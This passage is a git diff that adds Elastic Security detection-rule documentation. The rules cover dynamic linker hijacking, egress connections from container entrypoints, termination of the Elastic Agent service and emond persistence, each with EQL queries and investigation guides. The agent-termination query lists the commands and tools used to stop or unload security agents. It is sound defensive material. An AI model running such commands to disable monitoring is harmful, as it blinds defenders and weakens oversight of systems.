https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action == "creation" and +file.path like ("/etc/ld.so.preload", "/etc/ld.so.conf.d/*", "/etc/ld.so.conf") and +not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/libexec/platform-python", + "/usr/lib/snapd/snap-update-ns", "/usr/bin/vmware-config-tools.pl", "./usr/bin/podman", "/bin/nvidia-cdi-hook", + "/usr/lib/dracut/dracut-install", "./usr/bin/nvidia-cdi-hook", "/.envbuilder/bin/envbuilder", "/usr/bin/buildah", + "/usr/sbin/dnf", "/usr/bin/pamac", "/sbin/pacman", "/usr/bin/crio", "/usr/sbin/yum-cron" + ) or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + file.Ext.original.extension == "dpkg-new" or + process.executable : ( + "/nix/store/*", "/var/lib/dpkg/*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*", "/opt/dynatrace/oneagent/*", + "/usr/libexec/platform-python*" + ) or + process.executable == null or + process.name in ( + "java", "executor", "ssm-agent-worker", "packagekitd", "crio", "dockerd-entrypoint.sh", + "docker-init", "BootTimeChecker", "dockerd (deleted)", "dockerd" + ) or + (process.name == "sed" and file.name : "sed*") or + (process.name == "perl" and file.name : "e2scrub_all.tmp*") or + (process.name == "init" and file.name == "ld.wsl.conf") or + (process.name == "sshd" and file.extension == "dpkg-new") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dynamic-linker-ld-so-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dynamic-linker-ld-so-creation.asciidoc new file mode 100644 index 0000000000..1fb71385da --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dynamic-linker-ld-so-creation.asciidoc @@ -0,0 +1,204 @@ +[[prebuilt-rule-8-19-20-dynamic-linker-ld-so-creation]] +=== Dynamic Linker (ld.so) Creation + +This rule detects the creation of the dynamic linker (ld.so). The dynamic linker is used to load shared libraries needed by an executable. Attackers may attempt to replace the dynamic linker with a malicious version to execute arbitrary code. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Dynamic Linker (ld.so) Creation* + + +The dynamic linker, ld.so, is crucial in Linux environments for loading shared libraries required by executables. Adversaries may exploit this by replacing it with a malicious version to execute unauthorized code, achieving persistence or evading defenses. The detection rule identifies suspicious creation of ld.so files, excluding benign processes, to flag potential threats. + + +*Possible investigation steps* + + +- Review the process that triggered the alert by examining the process.executable field to understand which application attempted to create the ld.so file. +- Check the process.name field to ensure the process is not one of the benign processes listed in the exclusion criteria, such as "dockerd", "yum", "dnf", "microdnf", or "pacman". +- Investigate the file.path to confirm the location of the newly created ld.so file and verify if it matches any of the specified directories like "/lib", "/lib64", "/usr/lib", or "/usr/lib64". +- Analyze the parent process of the suspicious executable to determine if it was initiated by a legitimate or potentially malicious source. +- Look for any recent changes or anomalies in the system logs around the time of the file creation event to identify any related suspicious activities. +- Cross-reference the event with other security tools or logs, such as Elastic Defend or SentinelOne, to gather additional context or corroborating evidence of malicious activity. +- Assess the risk and impact of the event by considering the system's role and the potential consequences of a compromised dynamic linker on that system. + + +*False positive analysis* + + +- Package managers like yum, dnf, microdnf, and pacman can trigger false positives when they update or install packages that involve the dynamic linker. These processes are already excluded in the rule, but ensure any custom package managers or scripts are also considered for exclusion. +- Container management tools such as dockerd may create or modify ld.so files during container operations. If you use other container tools, consider adding them to the exclusion list to prevent false positives. +- System updates or maintenance scripts that involve library updates might create ld.so files. Review these scripts and add them to the exclusion list if they are verified as non-threatening. +- Custom administrative scripts or automation tools that interact with shared libraries could inadvertently trigger the rule. Identify these scripts and exclude them if they are part of regular, secure operations. +- Development environments where ld.so files are frequently created or modified during testing and compilation processes may need specific exclusions for development tools or environments to avoid false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Verify the integrity of the dynamic linker (ld.so) on the affected system by comparing it with a known good version from a trusted source or repository. +- If the dynamic linker has been tampered with, replace it with the verified version and ensure all system binaries are intact. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection tools to identify and remove any additional malicious files or processes. +- Review system logs and the process creation history to identify the source of the unauthorized ld.so creation and any associated malicious activity. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems are affected. +- Implement additional monitoring and alerting for similar suspicious activities, such as unauthorized file creations in critical system directories, to enhance future detection capabilities. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and process.executable != null and +file.path like~ ("/lib/ld-linux*.so*", "/lib64/ld-linux*.so*", "/usr/lib/ld-linux*.so*", "/usr/lib64/ld-linux*.so*") and +not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/dev/fd/*", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/libexec/platform-python", + "/usr/lib/snapd/snap-update-ns", "./usr/bin/podman", "/usr/bin/crio", "/usr/bin/buildah", "/bin/dnf5", + "/usr/bin/dnf5", "/usr/bin/pamac", "/dev/fd/3" + ) or + process.executable like ( + "/snap/docker/*/bin/dockerd", "/usr/bin/python*", "/nix/store/*/docker/dockerd", "/var/lib/docker/overlay2/*/dockerd", + "/rpool/data/*usr/bin/dockerd" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-egress-connection-from-entrypoint-in-container.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-egress-connection-from-entrypoint-in-container.asciidoc new file mode 100644 index 0000000000..a64478dec5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-egress-connection-from-entrypoint-in-container.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-20-egress-connection-from-entrypoint-in-container]] +=== Egress Connection from Entrypoint in Container + +This rule identifies a sequence of events where a process named "entrypoint.sh" is started in a container, followed by a network connection attempt. This sequence indicates a potential egress connection from an entrypoint in a container. An entrypoint is a command or script specified in the Dockerfile and executed when the container starts. Attackers can use this technique to establish a foothold in the environment, escape from a container to the host, or establish persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* Domain: Container +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Egress Connection from Entrypoint in Container* + + +Containers, often used for deploying applications, start with an entrypoint script that initializes the environment. Adversaries may exploit this by embedding malicious commands to initiate unauthorized network connections, potentially breaching security boundaries. The detection rule monitors for processes named `entrypoint.sh` followed by suspicious network activity, flagging attempts to connect to external IPs, thus identifying potential threats. + + +*Possible investigation steps* + + +- Review the process details for the `entrypoint.sh` script execution, focusing on the `process.entity_id` and `host.id` to understand the context of the container where the script was executed. +- Examine the network connection attempt details, particularly the `destination.ip`, to determine if the IP address is known to be malicious or associated with suspicious activity. +- Check the container's Dockerfile or image configuration to verify if the `entrypoint.sh` script is expected and whether it contains any unauthorized modifications or additions. +- Investigate the parent process of the network connection attempt using `process.parent.entity_id` to identify if there are any other suspicious processes or activities linked to the same parent. +- Correlate the event with other logs or alerts from the same `host.id` to identify any additional indicators of compromise or related suspicious activities within the same timeframe. + + +*False positive analysis* + + +- Legitimate application updates or installations may trigger the rule if they involve network connections from the entrypoint script. To handle this, identify and whitelist specific applications or update processes that are known to perform such actions. +- Automated configuration management tools might execute scripts that initiate network connections as part of their normal operations. Exclude these tools by specifying their process names or parent entity IDs in the rule exceptions. +- Containers designed to perform network diagnostics or monitoring could naturally attempt connections to external IPs. Review and exclude these containers by their image names or specific entrypoint scripts. +- Development or testing environments often run scripts that connect to external services for integration testing. Consider excluding these environments by tagging them appropriately and adjusting the rule to ignore these tags. +- Scheduled maintenance scripts that run periodically and require network access might be flagged. Document these scripts and create exceptions based on their execution schedule or specific network destinations. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further unauthorized network connections. This can be done by stopping the container or disconnecting it from the network. +- Conduct a thorough review of the `entrypoint.sh` script within the container to identify and remove any malicious commands or scripts that may have been injected. +- Analyze the network traffic logs to identify any external IP addresses that the container attempted to connect to. Block these IPs at the firewall level to prevent future connections. +- Check for any signs of lateral movement or attempts to escape the container to the host system. If detected, escalate to the security team for a comprehensive investigation. +- Restore the container from a known good backup if available, ensuring that the restored version is free from any malicious modifications. +- Implement additional monitoring on the affected host and container environment to detect any similar suspicious activities in the future. +- Report the incident to the appropriate internal security team or incident response team for further analysis and to update threat intelligence databases. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=3s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.entry_leader.entry_meta.type == "container" and process.name == "entrypoint.sh"] by process.entity_id + [network where event.type == "start" and event.action == "connection_attempted" and process.executable != null and + not ( + destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch( + destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8", "172.31.0.0/16" + ) or + // Excluding vast majority of noise + (process.name like ("python*", "pip*") and destination.port == 443) + )] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-elastic-agent-service-terminated.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-elastic-agent-service-terminated.asciidoc new file mode 100644 index 0000000000..dc7d647893 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-elastic-agent-service-terminated.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-20-elastic-agent-service-terminated]] +=== Elastic Agent Service Terminated + +Identifies the Elastic endpoint agent has stopped and is no longer running on the host. Adversaries may attempt to disable security monitoring tools in an attempt to evade detection or prevention capabilities during an intrusion. This may also indicate an issue with the agent itself and should be addressed to ensure defensive measures are back in a stable state. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Elastic Agent Service Terminated* + + +The Elastic Agent is a crucial component for monitoring and securing endpoints across various operating systems. It ensures continuous security oversight by collecting and analyzing data. Adversaries may attempt to disable this agent to evade detection, compromising system defenses. The detection rule identifies suspicious termination activities by monitoring specific processes and commands across Windows, Linux, and macOS, flagging potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the event logs to identify the exact process and command used to terminate the Elastic Agent, focusing on the process names and arguments such as "net.exe", "sc.exe", "systemctl", and "pkill" with arguments like "stop", "uninstall", or "disable". +- Check the timeline of events around the termination to identify any preceding suspicious activities or anomalies that might indicate an adversary's presence or actions. +- Investigate the user account associated with the process termination to determine if it was authorized or if there are signs of account compromise. +- Examine the host for any other signs of tampering or compromise, such as unauthorized changes to system configurations or the presence of other malicious processes. +- Verify the current status of the Elastic Agent on the affected host and attempt to restart it if it is not running, ensuring that security monitoring is restored. +- Correlate this event with other alerts or logs from the same host or network to identify potential patterns or coordinated attack activities. + + +*False positive analysis* + + +- Routine maintenance activities may trigger the rule if administrators use commands like systemctl or service to stop the Elastic Agent for updates or configuration changes. To manage this, create exceptions for known maintenance windows or authorized personnel. +- Automated scripts or deployment tools that temporarily disable the Elastic Agent during software installations or updates can cause false positives. Identify these scripts and whitelist their execution paths or specific arguments. +- Testing environments where Elastic Agent is frequently started and stopped for development purposes might generate alerts. Exclude these environments by specifying their hostnames or IP addresses in the rule exceptions. +- Security tools or processes that interact with the Elastic Agent, such as backup solutions or system monitoring tools, might inadvertently stop the service. Review these interactions and adjust the rule to ignore specific process names or arguments associated with these tools. +- User-initiated actions, such as troubleshooting or system performance optimization, may involve stopping the Elastic Agent. Educate users on the impact of these actions and establish a protocol for notifying the security team when such actions are necessary. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or potential lateral movement by adversaries. +- Verify the status of the Elastic Agent on the affected host and attempt to restart the service. If the service fails to restart, investigate potential causes such as corrupted files or missing dependencies. +- Conduct a thorough review of recent process execution logs on the affected host to identify any unauthorized or suspicious activities that may have led to the termination of the Elastic Agent. +- If malicious activity is confirmed, perform a comprehensive malware scan and remove any identified threats. Ensure that the host is clean before reconnecting it to the network. +- Review and update endpoint security configurations to prevent unauthorized termination of security services. This may include implementing stricter access controls or using application whitelisting. +- Escalate the incident to the security operations team for further analysis and to determine if additional hosts are affected or if there is a broader security incident underway. +- Document the incident, including all actions taken and findings, to enhance future response efforts and update incident response plans as necessary. + +==== Setup + + + +*Setup* + + +If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2, +events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2. +Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate +`event.ingested` to @timestamp. +For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and +( + /* net, sc or wmic stopping or deleting Elastic Agent on Windows */ + ( + process.name : ("net.exe", "sc.exe", "wmic.exe","powershell.exe","taskkill.exe","PsKill.exe","ProcessHacker.exe") and + process.args : ("stopservice","uninstall", "stop", "disabled","Stop-Process","terminate","suspend") and + process.args : ("elasticendpoint", "Elastic Agent","elastic-agent","elastic-endpoint") + ) or + + /* service or systemctl used to stop Elastic Agent on Linux */ + ( + process.name in ("systemctl", "service", "chkconfig", "update-rc.d") and + process.args : ("elastic-agent", "elastic-agent.service", "ElasticEndpoint") and + process.args : ("stop", "disable", "remove", "off", "kill", "mask") and + not ( + process.parent.executable : "/opt/Elastic/Agent/data/elastic-agent-*/components/previous/elastic-endpoint" and + process.parent.args : "uninstall" and + process.parent.args : "--keepstate" + ) + ) or + + /* pkill, killall used to stop Elastic Agent or Endpoint on Linux */ + (process.name in ("pkill", "killall", "kill") and process.args : ("elastic-agent", "elastic-endpoint")) or + + /* Unload Elastic Defend extension on MacOS */ + (process.name : "kextunload" and process.args : "com.apple.iokit.EndpointSecurity") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-emond-rules-creation-or-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-emond-rules-creation-or-modification.asciidoc new file mode 100644 index 0000000000..d305aaf7f9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-emond-rules-creation-or-modification.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-20-emond-rules-creation-or-modification]] +=== Emond Rules Creation or Modification + +Identifies the creation or modification of the Event Monitor Daemon (emond) rules. Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.xorrior.com/emond-persistence/ +* https://www.sentinelone.com/blog/how-malware-persists-on-macos/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Emond Rules Creation or Modification* + + +The Event Monitor Daemon (emond) on macOS is a service that executes commands based on specific system events. Adversaries can exploit this by crafting rules to trigger malicious actions during events like startup or login. The detection rule monitors for new or altered emond rule files, signaling potential unauthorized modifications that could indicate persistence tactics. + + +*Possible investigation steps* + + +- Review the file path of the modified or newly created emond rule to determine if it matches known legitimate configurations or if it appears suspicious, focusing on paths like "/private/etc/emond.d/rules/*.plist" and "/private/var/db/emondClients/*". +- Check the timestamp of the file creation or modification to correlate with any known user activity or scheduled tasks that could explain the change. +- Analyze the contents of the modified or newly created plist file to identify any commands or scripts that are set to execute, looking for signs of malicious intent or unauthorized actions. +- Investigate the user account associated with the file modification event to determine if the activity aligns with their typical behavior or if it suggests potential compromise. +- Cross-reference the event with other security alerts or logs from the same timeframe to identify any related suspicious activities or patterns that could indicate a broader attack. + + +*False positive analysis* + + +- System or application updates may modify emond rule files as part of legitimate maintenance activities. Users can create exceptions for known update processes by identifying the associated process names or hashes and excluding them from alerts. +- Administrative tasks performed by IT personnel, such as configuring new system policies or settings, might involve legitimate changes to emond rules. To handle these, maintain a list of authorized personnel and their activities, and exclude these from triggering alerts. +- Security software or management tools that automate system configurations could also modify emond rules. Identify these tools and their expected behaviors, and configure exceptions based on their typical file paths or process identifiers. +- Scheduled maintenance scripts that interact with emond rules for system health checks or optimizations should be documented. Exclude these scripts by verifying their signatures or paths to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent potential lateral movement or further execution of malicious rules. +- Review and back up the current emond rule files located in the specified directories to understand the scope of modifications and preserve evidence for further analysis. +- Remove or revert any unauthorized or suspicious emond rule files to their original state to stop any malicious actions triggered by these rules. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection tools to identify and remove any additional malware or persistence mechanisms. +- Restore the system from a known good backup if the integrity of the system is in question and unauthorized changes cannot be fully reversed. +- Escalate the incident to the security operations team for further investigation and to determine if other systems may be affected by similar unauthorized emond rule modifications. +- Implement enhanced monitoring and alerting for changes to emond rule files to quickly detect and respond to future unauthorized modifications. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.action == "modification" and + file.path like ("/private/etc/emond.d/rules/*.plist", "/etc/emon.d/rules/*.plist", "/private/var/db/emondClients/*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: 